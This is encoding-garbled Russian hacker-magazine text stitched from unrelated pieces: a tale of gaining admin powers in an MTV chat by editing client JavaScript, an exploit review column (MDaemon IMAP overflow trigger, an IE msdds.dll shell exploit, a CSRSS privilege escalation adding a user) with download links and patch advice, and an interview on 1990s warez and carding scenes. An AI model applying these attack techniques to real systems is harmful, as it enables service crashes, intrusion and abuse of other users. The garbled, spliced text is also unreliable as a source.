âàë íèêàêèõ ïîëåé, à ïðîñòî ïåðåïèñàë îñíîâíóþ ñòðàíèöó ÷àòà â
hta, óáðàë âñå ëèøíèå ôðåéìû, êðîìå òîãî, â êîòîðîì áûë ñïèñîê
íèêîâ, è ïîñòàâèë åìó ïàðàìåòð application="yes" òàêèì îáðàçîì,
÷òî òåïåðü íà åãî ñîäåðæèìîå ìîæíî áûëî âëèÿòü ëîêàëüíî, ïîñ-
ëå ÷åãî, ïðîñòî ïåðåïèñàë â chat.js îäíó ñòðî÷êó âìåñòî
isAdmin=false, ïîñòàâèë isAdmin=true è ïîäêëþ÷èë åãî ê ñîçäàííî-
ìó hta (<script src=chat.js>). Òàêèì îáðàçîì, ÿ ïîëó÷èë ëîêàëüíóþ
âåðñèþ ðàáîòàþùåãî ñïèñêà íèêîâ ÷àòà mtv ñî âñåìè âîçìîæíîñ-
òÿìè àäìèíèñòðàòîðà (ñì. ðèñ 3).
Êàê âèäíî èç ðèñóíêà, îòëè÷àëñÿ ýòîò ñïèñîê îò îáû÷íîãî òåì,
÷òî ðÿäîì ñ êàæäûì íèêîì ñòîÿëè îðàíæåâûé êðåñòèê è èêîí-
êà, ïîõîæàÿ íà âèçèòíóþ êàðòî÷êó. Òàêæå íåïîñðåäñòâåííî
íàä ñïèñêîì áûëè äâå çàãàäî÷íûå ññûëêè: «âêëþ÷èòü
ôèëüòð» è «ïåðåãðóçèòü ôèëüòð». Ñóäÿ ïî âñåìó, îíè âêëþ÷à-
þò è îòêëþ÷àþò áëîêèðîâêó íåöåíçóðíîé áðàíè, òîëüêî ïðî-
âåðèòü èõ ìíå òàê è íå óäàëîñü, ïîòîìó ÷òî ïîñåòèòåëè ÷àòà
mtv ïèøóò ìàòîì â_î_ò___ò_à_ê, îáõîäÿ âñå ýòè ôèëüòðû.
Ñàìàÿ ãëàâíàÿ ôèøêà àäìèíñêîãî èíòåðôåéñà � îðàíæåâûé
êðåñòèê! Îí ðàáîòàåò âåëèêîëåïíî. Åñëè íàæàòü íà íåãî, îòê-
ðîåòñÿ îêîøå÷êî, ïîêàçàííîå íà ðèñ. 5.
Â íåì ñâåòèòñÿ ip âûáðàííîãî ïîëüçîâàòåëÿ (âîò òåáå è îòâåò
íà âîïðîñ «êàê óçíàòü ip â ÷àòå» :)) è ïðåäëàãàþòñÿ íåêîòîðûå
âàðèàíòû åãî áëîêèðîâêè: ïî íèêó, ïî ip, íàâñåãäà èëè íà âðå-
ìÿ. Êñòàòè ãîâîðÿ, ñëîâî «íàâñåãäà», ïî ïîíÿòèÿì mtv'øíûõ
àäìèíîâ, îçíà÷àåò âñåãî ëèøü «äî êîíöà ñóòîê». Â ñàìîì äå-
ëå, ñòðàííî, åñëè áû áûëî ïî-äðóãîìó: íà îäíîì ip ìîæåò ñè-
äåòü è òûñÿ÷à ÷åëîâåê.

Êñòàòè, çàáàâíàÿ øòóêà. Äíåì â ýòîì ÷àòå âñåãäà ñèäèò àäìèí ñ íèêîì
punisher. Òàê âîò, åãî òîæå ìîæíî âûêèíóòü, à ÿ ýòî ïîñòîÿííî äåëàë ðà-
äè âåñåëüÿ. Îäíàêî îí âîçâðàùàëñÿ óæå ÷åðåç íåñêîëüêî ìèíóò, ïîñ-
êîëüêó, âèäèìî, èìåë äîñòóï ê áàçàì äàííûõ ñ íèêàìè è áëîêàìè. Äà è ip
ó íåãî áûë èç Mtv'øíîé ñåòè

ðèñ. 4:
îêîøêî
ðåãèñòðàöè
è íîâîãî
þçåðà
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MDAEMON IMAP REMOTE BOF EXPLOIT
[îïèñàíèå] Çàíÿòíàÿ èñòîðèÿ ñ ñîôòèíêîé
MDaemon, êîòîðàÿ ïðåäñòàâëÿåò èç ñåáÿ ïî÷-
òîâóþ ñëóæáó îò ïðîèçâîäèòåëÿ ALT-N, íà÷à-
ëàñü åùå ñ 20 èþëÿ. Íåêèé kcope îáúÿâèë î
äâóõ óÿçâèìîñòÿõ â ñåðâèñå. Ïåðâàÿ ïðåäñòàâ-
ëÿëà ñîáîé áàíàëüíîå ïåðåïîëíåíèå áóôåðà
ïðè ñîçäàíèè íîâîé ïàïêè. Çëîóìûøëåííèêó
äîñòàòî÷íî áûëî çàëîãèíèòüñÿ è âûïîëíèòü êî-
ìàíäó A001 CREATE A, ãäå A � áîëåå òûñÿ÷è
ñèìâîëîâ ïîäðÿä. Â èòîãå, ñëóæáà ïðåêðàùàåò
ñâîþ äàëüíåéøóþ æèçíåäåÿòåëüíîñòü. Óçíàâ
ïðî ýòî, ïðîèçâîäèòåëè MDaemon òóò æå çàëà-
òàëè áàã, íî çàáûëè, ÷òî áàãîèñêàòåëü óïîìÿ-
íóë òàêæå ïðî âòîðóþ óÿçâèìîñòü. Îíà áûëà
êóäà áîëåå öåííîé, ÷åì CREATE-bug, âåäü ïå-
ðåïîëíåíèå áóôåðà ìîæíî îñóùåñòâèòü äàæå
íå èìåÿ äîñòóïà ê ïî÷òîâèêó. Äîñòàòî÷íî ëèøü
îòïðàâèòü çàâåòíóþ ïîñëåäîâàòåëüíîñòü áàéò,
è ñåðâèñ òóò æå óïàäåò.
Ýêñïëîéò ïðåäñòàâëÿåò ñîáîé ïåðëîâûé ìî-
äóëü, êîòîðûé âñåãî-íàâñåãî ñëåäóåò ÷óòü-÷óòü
ïîäïðàâèòü è àêòèâèðîâàòü èç ñêðèïòà ìåòî-
äîì new().

[çàùèòà] Íà ìîìåíò âûõîäà îáçîðà ïîñëåä-
íÿÿ âåðñèÿ MDaemon áûëà óÿçâèìà. Ïðîâåðêà
ïðîèçâîäèëàñü íà ìîåì íîóòáóêå ñ WinXP+SP2
íà áîðòó.

[cñûëêè] Çàáèðàé ýêñïëîéò îòñþäà: www.secu-
ritylab.ru/poc/extra/239653.php. Òàêæå ïóáëèêóþ
ññûëêó íà ïåðâîèñòî÷íèê � íà ñòðàíèöå
www.securitylab.ru/vulnerability/source/211919.php
òû ìîæåøü îçíàêîìèòüñÿ ñ äåòàëÿìè CREATE-
áàãà è çàöåíèòü ýêñïëîéò ê íåìó.

[çëîêëþ÷åíèå] Ïóòü MDaemon è íå ñàìûé
ðàñïðîñòðàíåííûé ïî÷òîâûé ñåðâèñ, íî äîñòà-
òî÷íîå êîëè÷åñòâî ïîëüçîâàòåëåé è àäìèíîâ
ëþáÿò äåìîí çà åãî ïðîñòîòó è óäîáñòâî â íàñò-
ðîéêå. Äëÿ õàêåðà îòêðûâàåòñÿ áîëüøàÿ èíòåð-
íåò-ïîëÿíà äëÿ äåñòðóêòèâíûõ äåéñòâèé :).

[greets] Èäåÿ è ðåàëèçàöèÿ ýêñïëîéòà ïðèíàä-
ëåæèò kcope. Çàòðóäíÿþñü ñêàçàòü ê êàêîé õàê-
êîìàíäå îí ïðèíàäëåæèò, ñêîðåå âñåãî, � ïðîñ-
òî äåâåëîïåð-îäèíî÷êà, íå èùóùèé ñëàâû :).

IE «MSDDS.DLL» REMOTE EXPLOIT
[îïèñàíèå] Â ïðîøëîì îáçîðå ÿ ïèñàë ïðî
Microsoft Internet Explorer Msdds.dll COM Object
Remote Exploit, îäíàêî ñïëîèò ðàáîòàë íå íà
âñåõ âåðñèÿõ áðàóçåðà. Íåäàâíî â ïàáëèê ïðî-
ñî÷èëñÿ êîä ýòîãî æå ñïëîèòà, òîëüêî ôóíêöè-
îíèðóþùåãî íà WinXP+SP2 IE 6.0. Ñàì
ýêñïëîéò íàïèñàí íà Ïåðëå è åãî çàäà÷à �
ñîçäàòü áàæíóþ HTML-ñòðàíèöó. Â ýòîé ïàãå
ïîñðåäñòâîì object-òýãà âûçûâàåòñÿ øåëë-êîä,
ïåðåïîëíÿþùèé áóôåð îñëà è îñòàâëÿþùèé íà
ïàìÿòü øåëë íà ïîðòó 28876.
Ïðàâäà, êàê ýòî îáû÷íî áûâàåò, â ýêñïëîéòå
åñòü ìàëåíüêàÿ íåäîäåëêà. Çíàþùèé ÷åëîâåê
ñðàçó äîãàäàåòñÿ è èñïðàâèò îøèáêó ïîñëå
ïåðâîãî íåóäà÷íîãî çàïóñêà. À íåçíàþùèé �
ïîéäåò ëåñîì :). Ïîñëå èñïðàâëåíèÿ íåäî÷åòà,
äîñòàòî÷íî çàïóñòèòü ñïëîèò ñ ðåäèðåêòîì â
ñòðàíèöó blah.html, à çàòåì ïîïûòàòüñÿ îòêðûòü
çàãàäî÷íóþ HTML-ñòðàíèöó. ×òî áóäåò äàëü-
øå, òû, íàâåðíîå, óæå äîãàäàëñÿ :).

[çàùèòà] Ñïèñîê ïàò÷åé äëÿ ðàçëè÷íûõ ñèñ-
òåì òû íàéäåøü íà ñòðàíèöå http://security.nnov.ru/
Jdocument419.html. Ñîâåòóþ íå ìåäëèòü ñ îá-
íîâëåíèÿìè, à ñðàçó ñêà÷àòü è ïîñòàâèòü íåîá-
õîäèìóþ çàïëàòêó.

[cñûëêè] Çàáèðàé ýêñïëîéò ïî àäðåñó
www.securitylab.ru/poc/extra/239648.php. Èí-
ôîðìàöèþ ïî ýòîé óÿçâèìîñòè ìîæíî íàéòè
çäåñü: http://security.nnov.ru/Jdocument432.html.

[çëîêëþ÷åíèå] Íåòðóäíî ïðåäïîëîæèòü, ÷òî
äîëãîå âðåìÿ ýòîò êîä íàõîäèëñÿ â ïðèâàòíûõ
èñòî÷íèêàõ è èñïîëüçîâàëñÿ òîëüêî èçáðàííû-
ìè õàêåðàìè. Òåïåðü êàæäûé æåëàþùèé ìî-
æåò èñïûòàòü ýòî òâîðåíèå íà ñåáå. Åñëè, êî-
íå÷íî, îí íàéäåò è èñïðàâèò íåáîëüøóþ íåäî-
äåëêó â ñêðèïòå :).

[greets] Áëàãîäàðèì ÷åëîâåêà Anonymous, êî-
òîðûé äîäóìàëñÿ íàïèñàòü ýêñïëîéò. Ñàì êîä,
åñëè âåðèòü àâòîðó, áûë óêðàäåí ó õàêåðà ñ
èìåíåì Berend-Jan Wever.

CSRSS.EXE STACK OVERFLOW EXPLOIT
[îïèñàíèå] Â îãîðîä Microsoft ñíîâà êèíóëè
êàìíåì. Íà ýòîò ðàç áûë ñîçäàí ëîêàëüíûé
ýêñïëîéò äëÿ Win2000/XP+SP1. Ñïëîèò âûïîëíÿ-
åò ïåðåïîëíåíèå áóôåðà â ïðîöåññå CSRSS.EXE.
Îí íóæåí äëÿ âûïîëíåíèÿ ãðàôè÷åñêèõ êîìàíä
Windows.
Ðàçáåðåìñÿ ïîäðîáíåå: ñ ïîìîùüþ API-âûçî-
âîâ, Windows ïåðåäàåò ñòðóêòóðó êîíñîëüíîãî
îêíà. Ýòà ñòðóêòóðêà èìååò íàçâàíèå CON-
SOLE_STATE_INFO. Âñå áû íè÷åãî, íî â íåé ñó-
ùåñòâóåò ïàðàìåòð FaceName, õàðàêòåðèçóþ-
ùèé íàçâàíèå øðèôòà. Îí, êàê è âñå îñòàëüíûå,
êîïèðóåòñÿ â ôèêñèðîâàííûé áóôåð ñ ïîìîùüþ
ôóíêöèè wcscpy(), åñòåñòâåííî, áåç âñÿêèõ ïðî-
âåðîê. Âñå áû íè÷åãî, íî äëèíà ïàðàìåòðà îãðà-
íè÷èâàåòñÿ 32 áàéòàìè. Åñëè òóïî ïåðåïîëíèòü
áóôåð, âèíäà òóò æå âûäàñò ýêðàí ñìåðòè. À åñ-
ëè ïîäóìàòü, êàê ýòî ñäåëàëè ðåáÿòà èç
iDEFENSE, ìîæíî íàêîëáàñèòü õîðîøèé øåëë-
êîä è âûçâàòü cmd.exe ñ ïðàâàìè SYSTEM :).

[çàùèòà] Åñëè òû îáðàòèøüñÿ ïî àäðåñó
http://security.nnov.ru/Idocument308.html, òî íàé-
äåøü ïîëíûé ñïèñîê ïàò÷åé äëÿ Win2000/XP.
Êàê àëüòåðíàòèâíîå ðåøåíèå ïðåäëàãàåòñÿ îòê-
ëþ÷èòü çàïóñê cmd.exe íà ïóáëè÷íûõ òåðìèíà-
ëàõ. Ýòî îñóùåñòâëÿåòñÿ äîáàâëåíèåì äâîè÷íî-
ãî ïàðàìåòðà HKEY_CURRENT_USER\Software\
Policies\Microsoft\Windows\System\DisableCMD ñî
çíà÷åíèåì 1.

[cñûëêè] Ýêñïëîéò äëÿ CSRSS.EXE ìîæíî ñêà-
÷àòü ïî àäðåñó www.security.nnov.ru/files/MS05-
018-CSRSS.c. Ïîäðîáíûé îò÷åò îá îøèáêå íàõî-
äèòñÿ òóò � http://security.nnov.ru/Idocument309.html.

[çëîêëþ÷åíèå] Ââèäó îñîáåííîñòåé àðõè-
òåêòóðû ñèñòåì, ýêñïëîéò ðàáîòàåò òîëüêî íà
Win2k è WinXP+SP1. Íî èìåííî íà ýòèõ ñèñòå-
ìàõ îáû÷íî è íóæíî íàìóòèòü ëîêàëüíûå ïðà-
âà. Ýòî è äåëàåò ñïëîèò � äîáàâëÿåò ïîëüçî-
âàòåëÿ e ñ ïàðîëåì asd#321.

[greets] Àâòîðîì ýêñïëîéòà ÿâëÿþòñÿ ìåìáå-
ðû êîìàíäû iDEFENSE. Ýòà êîìàíäà íå íóæäà-
åòñÿ â ðåêëàìå, ïîýòîìó ïðîñòî ïîáëàãîäàðèì
Äýâèäà Ôðèòçà çà õîðîøèé ýêñïëîéò :).

êîìïèëÿöèÿ ñïëîèòà äëÿ CSRSSïðîâåðêà íà CREATE-bug âåëèêèé è óæàñíûé 0day-êîä
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mindw0rk: Ïî òðàäèöèè, ïðåäñòàâüñÿ. Èìÿ, âîç-
ðàñò, êàêîé âíóòðåííå è âíåøíå. Ïðî ðàíåå
äåòñòâî íå íóæíî, íà÷íè ñ òîãî ìîìåíòà, êàê
âïåðâûå íàòêíóëñÿ íà êîìïüþòåðû, è êàêèì îáðà-
çîì ó òåáÿ ñôîðìèðîâàëàñü ê íèì ëþáîâü?
ST: Çîâóò Êèðèëë. Â òóñîâêå ñíà÷àëà çâàëè TOK,
ïîòîì èíîñòðàíöû ñòàëè íàçûâàòü Saint
Tok (òàê êàê ðîäîì èç Ñàíêò-Ïåòåðáóðãà), ïîñòå-
ïåííî ýòî ïðèêëåèëîñü. Âîçðàñò îò 25 äî 35 è
âíóòðåííå è, íàâåðíîå, âíåøíå. Íàòêíóëñÿ íà
ïåðâîå ñâîå æåëåçî â 92-ì ãîäó íà íîâîì òîãäà
ðûíêå Þíîíà, ÷òî íà þãî-çàïàäå Ïèòåðà. Âñå ýòî
áûëè ðàííèå ìîäåëè ZX. Ïîñòåïåííî ïåðåøåë íà

ß ÓÆÅ ÄÀÂÍÎ ÕÎÒÅË ÐÀÑÑÊÀÇÀÒÜ Î ÒÎÌ,
ÊÀÊ ÏÎßÂÈËÀÑÜ È ÐÀÇÂÈÂÀËÀÑÜ ÐÓÑÑÊÀß
ÕÀÊ-ÑÖÅÍÀ, ÊÒÎ ÁÛËÈ ÏÅÐÂÛÅ ÕÀÊÅÐÛ, 
È ×ÒÎ ÑÎÁÎÉ ÏÐÅÄÑÒÀÂËßËÀ ÐÀÍÍßß ÒÓ-
ÑÎÂÊÀ. ÍÎ ÈÍÔÎÐÌÀÖÈÈ ÎÁ ÝÒÎÌ Â ÑÅÒÈ
ÍÅÒ ÂÎÎÁÙÅ, À ÒÅ ÈÇ «ÑÒÀÐÈ×ÊÎÂ», ÊÎÒÎ-
ÐÛÕ ÌÍÅ ÓÄÀÂÀËÎÑÜ ÎÒÛÑÊÀÒÜ, ÎÃÐÀÍÈ-
×ÈÂÀËÈÑÜ ÎÁÙÈÌÈ ÎÒÂÅÒÀÌÈ Â ÄÓÕÅ: 
«ÒÅÏÅÐÜ ÓÆÅ ÍÅ ÒÅ ÂÐÅÌÅÍÀ�». ÃÅÐÎÉ ÌÎ-
ÅÃÎ ÑÅÃÎÄÍßØÍÅÃÎ ÈÍÒÅÐÂÜÞ ÍÀØÅË ÌÅ-
Íß ÑÀÌ. ÎÑÒÀÂÈÂ Â ÌÛËÅ ÎÒÇÛÂ ÎÁ ÈÑÒÎ-
ÐÈÈ DRINK OR DIE, ÎÍ ÏÐÅÄÑÒÀÂÈËÑß ÎÄ-
ÍÈÌ ÈÇ ÏÅÐÂÛÕ ËÞÄÅÉ, ÊÎÒÎÐÛÅ ÑÎÑÒÀÂ-
ËßËÈ ÐÓÑÑÊÈÉ ÊÎÌÏÜÞÒÅÐÍÛÉ ÀÍÄÅÃÐÀ-
ÓÍÄ ÍÀ×ÀËÀ 90-Õ, ÎÑÍÎÂÀÒÅËÅÌ ÃÐÓÏÏÛ
SODOM. À ÏÎÄ ÊÎÍÅÖ ÂÛÐÀÇÈË ÑÎÆÀËÅ-
ÍÈÅ, ×ÒÎ Â ÑÒÀÒÜÅ ÎÒÑÓÒÑÒÂÓÅÒ ÎÏÈÑÀ-
ÍÈÅ ËÀÉÔÑÒÀÉËÀ ÐÀÍÍÈÕ ÕÀÊÅÐÎÂ, ÄÅÒÀ-
ËÅÉ, ÑÎÑÒÀÂËßÂØÈÕ ÀÒÌÎÑÔÅÐÓ ÒÎÉ ÒÓ-
ÑÎÂÊÈ. «ÐÀÑÑÊÀÆÈ ÌÍÅ ÎÁ ÝÒÎÌ», �
ÏÎÏÐÎÑÈË ß. ÒÀÊ ÍÀ×ÀËÎÑÜ ÍÀØÅ ÈÍ-
ÒÅÐÂÜÞ | mindw0rk (mindw0rk@gameland.ru)
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«çàðÿæåííóþ» 386 dx2 33, 4 Mb ram, 120 Mb HDD, SVGA 15". Íåïëîõàÿ ìà-
øèíà ïî òåì âðåìåíàì. Â 1994 ÿ íåêîòîðîå âðåìÿ ïîæèë â ÑØÀ (Êàëèôîð-
íèÿ) � òàì êàê ðàç íà÷àë ðàçâèâàòüñÿ Èíòåðíåò, è ìíå óäàëîñü ñ íèì ïîç-
íàêîìèòüñÿ, êàê ãîâîðèòñÿ, èç ïåðâûõ ðóê. Ïîòîì âåðíóëñÿ íà Ðîäèíó, ïðèõ-
âàòèâ ñ ñîáîé êàêîé-òî áðåíäîâûé êîìï, êîòîðûé ó ìåíÿ ÷àñòî èñïîëüçî-
âàëñÿ êàê áýêàï-ìàøèíà. Ê êîìïüþòåðàì áûëà íå ñòîëüêî ëþáîâü, ñêîëüêî
ñèëüíàÿ ïðèâÿçàííîñòü, êîòîðîé âïîñëåäñòâèè íàó÷èëñÿ óïðàâëÿòü. Ïîñ-
ëåäíèå 3 ãîäà ñèäåë íà äèåòå, ñ êîìïüþòåðîì îáùàëñÿ òîëüêî íà ðàáîòå.
Ïðàâäà, ñåé÷àñ ïðèøëîñü ñíîâà âçÿòü â ðóêè íîóòáóê (+gprs � î÷åíü óäîá-
íî), âñëåäñòâèå ÷åãî çàñèæèâàþñü çà êîìïüþòåðîì äîëüøå ÷åì ñëåäóåò.

mindw0rk: Êàê çàðîæäàëñÿ êîìïüþòåðíûé àíäåãðàóíä â Ðîññèè? Ãäå
ïðèîáðåòàëè êîìïüþòåðû, îòêóäà áðàëè ëèòåðàòóðó, êàê îáùàëèñü â òî
âðåìÿ, êîãäà åùå íå áûëî Ñåòè?
ST: Çàðîæäàëñÿ êàê-òî ñ òðóäîì. Â ïðèíöèïå, ìû áûëè ïðîñòî â òåìå.
Ïîëó÷èëîñü òàê, ÷òî, ïðèåõàâ èç ÑØÀ, ó ìåíÿ îêàçàëàñü ñàìàÿ ñâåæàÿ

Inet, 



èíôîðìàöèÿ î ðàçâèòèè â ìèðå (ÿ
îäíèì èç ïåðâûõ ñòàë ïîëüçîâàòü-
ñÿ irc, ftp, www, telnet) è ñîôò, êîòî-
ðûé ó íàñ ïîÿâèëñÿ áû òîëüêî ÷å-
ðåç ïîëãîäà. Íîâûå çíàêîìûå, êî-
òîðûå òîãäà çàíèìàëèñü ñîôòîì â
ðàñ÷åòå íà ïåðåïðîäàæó, áûëè
óäèâëåíû ìîèì ïîÿâëåíèåì, íî ÿ ñ
íèìè áûñòðî íàøåë îáùèé ÿçûê.
Ïðèìåðíî åùå ÷åðåç ïîëãîäà ïîç-
íàêîìèëñÿ ñ Dervish'åì, JJ, Zombie,
Exploz'om è åùå òó÷åé íàðîäà èç
Ìîñêâû. Âñÿ òóñîâêà, êîòîðóþ ãîð-
äî èìåíîâàëè «ñöåíà», îáèòàëà â
Ïèòåðå è Ìîñêâå. 30 ÷åëîâåê �
ÿäðî, è åùå ñîòíÿ òåõ, êîìó áûëî

ïðîñòî «ïðèêîëüíî». Ïîëîâèíà èç ïîñëåäíèõ íå çíàëà, ÷òî òàêîå âàðåç è
îò êóäà îí ïîÿâëÿåòñÿ. Âïåðâûå âñå âìåñòå ìû ñîáðàëèñü â 95-ì è 96-ì ãã.
íà Enlight � íåáîëüøîé ïàòè, êîòîðàÿ ïðîõîäèëà ñíà÷àëà â öåíòðå Ïè-
òåðà, ðÿäîì ñ Ãîðîõîâîé, à ïîòîì íà ÞÇå, â Êîðàáåëêå.
Êîìïüþòåðû êàê ñåé÷àñ, òàê è òîãäà ïîêóïàëè â ìàãàçèíàõ, ó âñåõ áûëè
ñâîè äâèæåíèÿ. Ëèòåðàòóðû êàê òàêîâîé íå áûëî, êíèãè êîòîðûå âûõîäèëè,
âûçûâàëè óëûáêó. Â îñíîâíîì êàæäûé ñàì ÷òî-òî ãäå-òî óçíàâàë, äåëèëñÿ ñ
äðóãèìè � ýòî è áûëî íà ñàìîì äåëå òà îñíîâà, íà êîòîðîé âñå äåðæàëîñü.
Íàì âñå ýòî áûëî èíòåðåñíî. Ê òîìó æå êàæäûé äåíü âñå ìåíÿëîñü, áóäü òî
áåñïëàòíûé äîñòóï â Èíòåðíåò ÷åðåç compuserve è aol, êîòîðûé ïðåêðàñíî ðà-
áîòàë â 1993 ãîäó, íî óæå ÷åðåç ãîä èíòåðíåò äîñòóïåí áûë ÷åðåç calling cards,
â êîòîðûõ ñî âðåìåíåì èçìåíèëè àëãîðèòì è âûïóñòèëè íîâîå îáíîâëåíèå. Äî
1997 ãîäó Èíòåðíåò ïðåäñòàâëÿë ñîáîé ìåñòî, ãäå ëþäè íà ñêîðîñòè 10 Ìáèò
áûëè â áîëüøîé «óâàæóõå», òàê êàê ÷åðåç íèõ ìîæíî áûëî ìíîãî ñëèòü è çà-
ëèòü. Âîîáùå íàäî ñêàçàòü áîëüøîå ñïàñèáî íàøèì óíèâåðñèòåòàì. 100%
íî÷íîãî òðàôèêà, ãóëÿþùåãî â òî âðåìÿ â Runnet è äðóãèõ ñòóäåí÷åñêèõ ñåòÿõ,
èìåëè ïðÿìîå îòíîøåíèå ê ïèðàòñòâó, ñöåíå è õàêèíãó. Îòêóäà åùå ìîæíî áû-
ëî âçÿòü äîñòóï â Èíòåðíåò? Ïðîâàéäåðàìè çà äåíüãè ìû íå ïîëüçîâàëèñü, òàê
êàê ýòî áûëî óòîïè÷íî. Â äåíü íà ìîäåìå ÿ íàõîäèëñÿ ìèíèìóì 8 ÷àñîâ, ÷àñ-
òî 10-�13 � ýòî IRC, FTP, Telnet. Åñëè îïëà÷èâàòü äèàëàï, òî âûõîäèëî äîë-
ëàðîâ 400�500, áåçëèìèòíûå âàðèàíòû � îêîëî 1200. Ïîýòîìó ïðîâàéäåðîâ
«êðûøåâàëè» ïî-ñâîåìó. Çà òî ÷òîáû ìû èõ íå ëîìàëè, ïðåäîñòàâëÿëè ñâå-
æèé ñîôò, ñëåäèëè çà òåì, ÷òîáû íèêòî äðóãîé èõ íå ëîìàë.

mindw0rk: Íàñêîëüêî ÿ çíàþ, ñöåíà ðàçäåëÿëàñü íà ðàçíûå òóñîâêè,
ãäå êàæäûé çàíèìàëñÿ ñâîèì äåëîì. Íàïðèìåð, áûëè âàðåç-ñöåíà, êðýê-
ñöåíà, óòèë-ñöåíà. Ïåðå÷èñëè âñå êëàññèôèêàöèè, êîòîðûå áûëè, è ðàñ-
ñêàæè âêðàòöå î êàæäîì èç ýòèõ ñîîáùåñòâ.
ST: Util scene âõîäèëà â warez scene. Â ïðèíöèïå, warez áûëà îñíîâíîé �
âñå îñòàëüíîå ëèáî èìåëî ê íåé íåïîñðåäñòâåííîå îòíîøåíèå, ëèáî êîñ-
âåííîå. Âñå, ÷òî íå PC (ZX, Commdore è äð.) øëî ïàðàëëåëüíî, íî ìû âñåã-

äà áûëè â îòëè÷íûõ îòíîøåíèÿõ ñ ýòèìè ðåáÿòàìè. Fraud â òîì âèäå, â êî-
òîðîì îí ñåãîäíÿ åñòü, ñòàë íàáèðàòü îáîðîòû â 96-ì ãîäó, êîãäà ìíîãèì
ñòàëî ïîíÿòíî, ÷òî íà òîì æå êàðäèíãå ìîæíî ïîäíÿòü â 100 ðàç áîëüøå äå-
íåã, ÷åì íà âàðåçå. Òàêèì îáðàçîì, âî ìíîãèõ êîìàíäàõ ïîÿâèëèñü ëþäè,
îòâå÷àþùèå çà íàëè÷èå ñâåæèõ êðåäèòíûõ êàðò, ñâåæåãî æåëåçà â ïîäàðîê
ñàìûì ëîÿëüíûì ìåìáåðàì è òàê äàëåå. À áëèæå ê 98�99 ãîäàì, êîãäà
îáúåìû ðåëèçîâ ñòàëè ïðåâûøàòü 100 Má è ïîÿâèëîñü ïîíÿòèå ISO, âàðåç-
íûå ãðóïïû ñòàëè ïðîïàäàòü äåñÿòêàìè êàæäóþ íåäåëþ, óõîäÿ âî ôðàóä
èëè ñî ñöåíû âîîáùå. Íà warez scene çíà÷èòåëüíîå ìåñòî çàíèìàëè êóðü-
åðíûå ãðóïïû (courier groups) � ðåáÿòà ñîðåâíîâàëèñü, êòî áûñòðåå è áîëü-
øå çàêà÷àåò ðåëèçîâ íà òîò èëè èíîé ñàéò. Êîëè÷åñòâî òàêèõ ñàéòîâ íå ïðå-
âûøàëî äåñÿòêà � ýòî áûëî ÿäðî ìèðîâîãî warez-ñîîáùåñòâà, ÷åðåç êîòî-
ðîå ñîôò ðàñõîäèëñÿ ïî âñåìó ìèðó. Utils groups ïîñòàâëÿëè ëþáûå ïðîã-
ðàììû, êðîìå èãð. Ýòè ðåëèçû ñîñòàâëÿëè äî 70% âñåãî òðàôèêà. Ñ ïîÿâ-
ëåíèåì îíëàéíîâûõ ìàãàçèíîâ ñîôòà, ìíîãèå ïîêóïàëè òàì ðåãèñòðàöèþ,
êîìïîíîâàëè è âûïóñêàëè â Cåòü â âèäå ðåëèçîâ. Ìû ñòàëè íàçûâàòü ýòî

web-releases. Áîëüøèì óâàæåíèåì îíè íå ïîëüçîâàëèñü, òàê êàê ìîçãîâ äëÿ
ýòîé îïåðàöèè íóæíî ìèíèìóì, íî ñ êàæäûì äíåì èõ ñòàíîâèëîñü âñå áîëü-
øå è áîëüøå, è òàêèå ïðîáëåìû, êàê äîñòàòü, îáîéòè çàùèòó, ïðîòåñòèðî-
âàòü, ðàñïðîñòðàíèòü, óøëè â ïðîøëîå. Âìåñòå ñ îùóùåíèåì ôàíà. Âîîá-
ùå, ÷åì äàëüøå, òåì ñèëüíåå âñå ïîõîäèëî íà ðóòèíó, êîòîðóþ äåòè äî 15
ëåò î÷åíü õîðîøî ïîääåðæèâàëè. Òàê êàê îáëàäàëè ñâîáîäíûì âðåìåíåì è
íåîáõîäèìîñòüþ êîìó-òî ÷òî-òî äîêàçàòü. Èãðîâûå ãðóïïû ñïåöèàëèçèðî-
âàëèñü òîëüêî íà èãðàõ è íà âñåì, ÷òî ñ ýòèì ñâÿçàíî. Íî ñ ïîÿâëåíèåì èãð
íà 2 èëè 5 äèñêàõ, âñå ñòàëè âñåðüåç çàäóìûâàòüñÿ, ÷òî ñ ýòèì äåëàòü. Ïðè-
íÿëèñü «ðèïàòü», òî åñòü âûðåçàòü àíèìàöèþ, ìóçûêó, óæèìàòü âñå â ìåíü-
øèé îáúåì. Íî òîãäà âñòàë äðóãîé âîïðîñ: êîìó ýòî íàäî â òàêîì âèäå.

mindw0rk: Êàêèå ðîññèéñêèå êîìàíäû â íà÷àëå/ñåðåäèíå 90-õ îòíîñè-
ëè ê òîé ñàìîé ýëèòå? Áóäü òî õàê-ñöåíà, êðýê-, âàðåç- èëè óòèë-. Âêðàò-
öå î êàæäîé èç ýòèõ êîìàíä.
ST: Êàê òàêîâûõ, ðîññèéñêèõ ýëèòíûõ êîìàíä íå áûëî. Òî åñòü íåëüçÿ æå
íàçâàòü ãðóïïó ðîññèéñêîé, åñëè â íåé òîëüêî 5% ëþäåé èç Ìîñêâû èëè
Ïèòåðà? Äà è ñìûñëà ÷òî-òî ðóññêîå äåëàòü íå áûëî � 1C ïðåäñòàâëÿëà
ñîáîé æàëêîå ïîäîáèå ñîôòà, áåç êàêîé-ëèáî çàùèòû, è ëîìàòü ýòî íèêî-
ìó íå íàäî áûëî. Âíóòðè íàøåé ñòðàíû íå áûëî êàê òàêîâîãî ðûíêà ÏÎ,
åñëè êîãî-òî ýòî èíòåðåñîâàëî, îí ñðàçó íàõîäèë îáùèå èíòåðåñû è êîí-
òàêòû â Åâðîïå è ÑØÀ. Èç crack-ãðóïï áûëè êàêèå-òî êîìàíäû, 2�3 ÷åëî-
âåêà, êîòîðûì îòäàâàëè äëÿ âçëîìà ðåëèçû, íî íàçâàíèå óæå íå âñïîìíþ
(10 ëåò íàçàä áûëî, âñå æå). Èç Warez Drink or Die (Ìîñêâà), èç utils only �
Sodom (ïèòåðñêèé îòâåò ìîñêâè÷àì). Èãðîâûõ êîìàíä íå áûëî, òàê êàê
ïàðíè èç Razor, Class è
äðóãèõ åâðîïåéñêèõ èëè
àìåðèêàíñêèõ ãðóïï,
äîñòàâàëè ñâåæàê íà
ïîðÿäîê áûñòðåå, è òÿ-
ãàòüñÿ ñ íèìè áûëî
íåðåàëüíî. Õîòÿ 50%
ëîìàëè ðåáÿòà èç Ðîñ-

ñèè � ýòî áûë íàø êîíåê. Ó èíîñò-
ðàíöåâ õâàòàëî ìîçãîâ âñå àêêóðàò-
